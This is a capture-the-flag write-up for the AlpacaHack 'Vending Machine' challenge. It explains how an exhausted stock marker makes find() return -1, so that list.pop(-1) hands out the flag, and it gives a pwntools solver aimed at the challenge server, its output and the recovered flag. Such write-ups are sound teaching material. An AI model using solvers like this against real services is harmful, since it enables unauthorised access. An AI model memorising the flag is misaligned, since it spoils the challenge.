Projects Vulnerabilities Challenges Write-ups
← Back to challenges
AlpacaHack Misc SOMEHOW EASY Solved

Vending Machine

08.05.2026
Write-up

Challenge Description

Recover the flag from a Python vending machine by exploiting its stock-selection logic.

AlpacaHack Vending Machine challenge page showing the server.py source and flag submission panel
The original AlpacaHack Vending Machine challenge.

The challenge provides a Python vending machine service. The menu exposes drinks, while the flag item is present in stock but cannot be selected directly.

Recon / Initial Analysis

The menu accepts only drink markers, but the stock string also contains a flag marker.

CODEStock layout and input validationPYTHON
self.stock = 'a' * 30 + 'b' * 60 + 'c' * 20 + 'd' * 50 + 'e' * 40 + 'f'

if mark not in ['a', 'b', 'c', 'd', 'e']:
    print('Invalid choice.')
    return

The final stock character is f, mapped to flag. Because f is rejected by the input check, the intended path is to influence how an accepted marker is removed from stock.

Technical Analysis

Exhausting a valid marker turns find() into a negative-index pop.

CODEVulnerable stock removalPYTHON
loc = self.stock.find(mark)
stock_list = list(self.stock)
item = stock_list.pop(loc)
self.stock = ''.join(stock_list)

There are exactly 20 c characters in stock. After buying c 20 times, find('c') returns -1 because no c remains. In Python, list.pop(-1) removes the last element, not an invalid element. The last element is f, so the machine dispenses the flag and prints it.

Solution

Buy coke 21 times; the 21st request removes the final flag item.

CODEFinal solverPYTHON
from pwn import *

HOST = '34.170.146.252'
PORT = 60734
io = remote(HOST, PORT)

for i in range(20):
    io.sendlineafter(b'your choice> ', b'c')
    print(f'[+] c {i+1}/20 removed')

# find('c') -> -1; pop(-1) removes 'f'
io.sendlineafter(b'your choice> ', b'c')
io.interactive()

The first 20 c requests remove all coke items normally. The next c request is still accepted by buy(), but its lookup returns -1, causing pop(-1) to remove f.

Validation

The behavior was reproduced with the supplied implementation and the captured challenge output was checked.

Verified execution outputbash
$ python3 solve.py
[+] c 1/20 removed
[+] c 2/20 removed
[+] c 3/20 removed
[+] c 4/20 removed
[+] c 5/20 removed
[+] c 6/20 removed
[+] c 7/20 removed
[+] c 8/20 removed
[+] c 9/20 removed
[+] c 10/20 removed
[+] c 11/20 removed
[+] c 12/20 removed
[+] c 13/20 removed
[+] c 14/20 removed
[+] c 15/20 removed
[+] c 16/20 removed
[+] c 17/20 removed
[+] c 18/20 removed
[+] c 19/20 removed
[+] c 20/20 removed
You bought flag.
Flag: Alpaca{?myst3ry-z0ne?}

The final response is consistent with the source: the 21st accepted c request returns You bought flag. and prints the recovered flag.

Flag

The flag recovered from the verified solution.

FLAGVerified flag
Alpaca{?myst3ry-z0ne?}
~/EnesBasmaci/Challenges